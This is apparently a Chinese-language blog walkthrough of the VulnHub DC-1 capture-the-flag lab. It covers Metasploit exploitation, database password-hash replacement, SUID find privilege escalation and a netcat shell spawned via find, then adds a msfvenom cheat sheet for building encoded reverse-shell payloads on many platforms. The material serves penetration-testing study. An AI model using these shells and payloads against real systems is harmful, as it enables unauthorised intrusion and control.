0%

vulnhub-DC-1

vulnhub的DC-1靶机

主机发现

漏洞发现

用msf找一找这个框架的漏洞

进入交互式shell

得到一个提示

搜一搜这个cms的配置文件

访问这个配置文件

由msf创建出来的是不能直接进行交互的,只是一个shell

创一个交互式命令行

1
python -c 'import pty;pty.spawn("/bin/bash")'`

数据库修改用户密码

数据库里看了看user,然后准备登录下admin账户,hash过的密码,需要找他的加密函数

找到这个可以生成

生成一下直接去数据库里改密码hash

改完密码后登录,在dashborad里面找到第三个提示

根据提示找一下这个shadow

在/etc下面

但是执行不了,提示权限不够

找到当前系统所有的suid可执行文件

1
2
3
4
find / -perm -u=s -type f 2>/dev/null 
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;

然后利用find提权

find /root/thefinalflag.txt -exec cat {} \;

读取了root家目录下的最后flag文件

反弹shell

1
/usr/bin/find /root/thefinalflag.txt -exec netcat -lvp 4444 -e "/bin/sh"  \;

关于反弹shell ,利用上面的原理可以弹一个shell会攻击机

总结

熟悉了一下相关工具的使用,还有渗透的思路

参考

https://www.bilibili.com/read/cv8951424

https://infosecwriteups.com/vulnhub-writeup-dc-1-37dcf92b456a

https://lnng.top/posts/2ea3.html#toc-heading-11


msf的使用方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#进入命令行工具
msfconsole

# 搜索漏洞名称
search [组件或者漏洞关键词]

# 使用漏洞
use [漏洞路径]

# 查看需要输入的选项
options

#然后设置options列出来的选项
set [选项键] [选项值]

#设置完所有的参数
run

后门生成的模块msfvenom

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
普通生成


msfvenom -p 有效载荷 -f 输出格式 -o 输出文件

msfvenom -p windows/meterpreter/reverse_tcp -f exe -o payload.exe

编码生成


msfvenom -a 系统架构 --platform 系统平台 -p 有效载荷 lhost=攻击机IP lport=攻击机端口 -e 编码方式 -i编码次数 -f 输出格式 -o 输出文件

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=192.168.1.1 lport=8888 -i 3 -e x86/shikata_ga_nai -f exe -o payload.exe


msfvenom —list archs #查看支持的系统架构

aarch64, armbe, armle, cbea, cbea64, cmd, dalvik, firefox, java, mips, mips64, mips64le, mipsbe, mipsle, nodejs, php, ppc, ppc64, ppc64le, ppce500v2, python, r, ruby, sparc, sparc64, tty, x64, x86, x86_64, zarch

msfvenom —list platforms #查看支持系统平台

aix, android, apple_ios, bsd, bsdi, cisco, firefox, freebsd, hardware, hpux, irix, java, javascript, juniper, linux, mainframe, multi, netbsd, netware, nodejs, openbsd, osx, php, python, r, ruby, solaris, unifi, unix, unknown, windows

msfvenom -l payload #列出所有可用的payload

msfvenom -l formats #列出所有的输出格式

msfvenom -l encrypt #列出所有的加密方式

msfvenom -l encoders #列出所有的编码器


常见生成格式

1、 Windows

msfvenom --platform windows -a x86 -p windows/meterpreter/reverse_tcp -i 3 -e x86/shikata_ga_nai -f exe -o payload.exe

2、Linux

msfvenom --platform linux -a x86 -p linux/x86/meterpreter/reverse_tcp -f elf -o payload.elf

3、Mac

msfvenom --platform osx -a x86 -p osx/x86/shell_reverse_tcp -f macho -o payload.macho

4、Android

msfvenom -p android/meterpreter/reverse_tcp -o payload.apk

5、Aspx

msfvenom --platform windows-p windows/meterpreter/reverse_tcp -f aspx -o payload.aspx

6、JSP

msfvenom --platform java -p java/jsp_shell_reverse_tcp -f raw -o payload.jsp

7、PHP

msfvenom -p php/meterpreter_reverse_tcp -f raw -o payload.php

8、BASH

msfvenom -p cmd/unix/reverse_bash -f raw -o shell.sh

9、Python

msfvenom -p python/meterpreter/reverse_tcp -f raw -o shell.py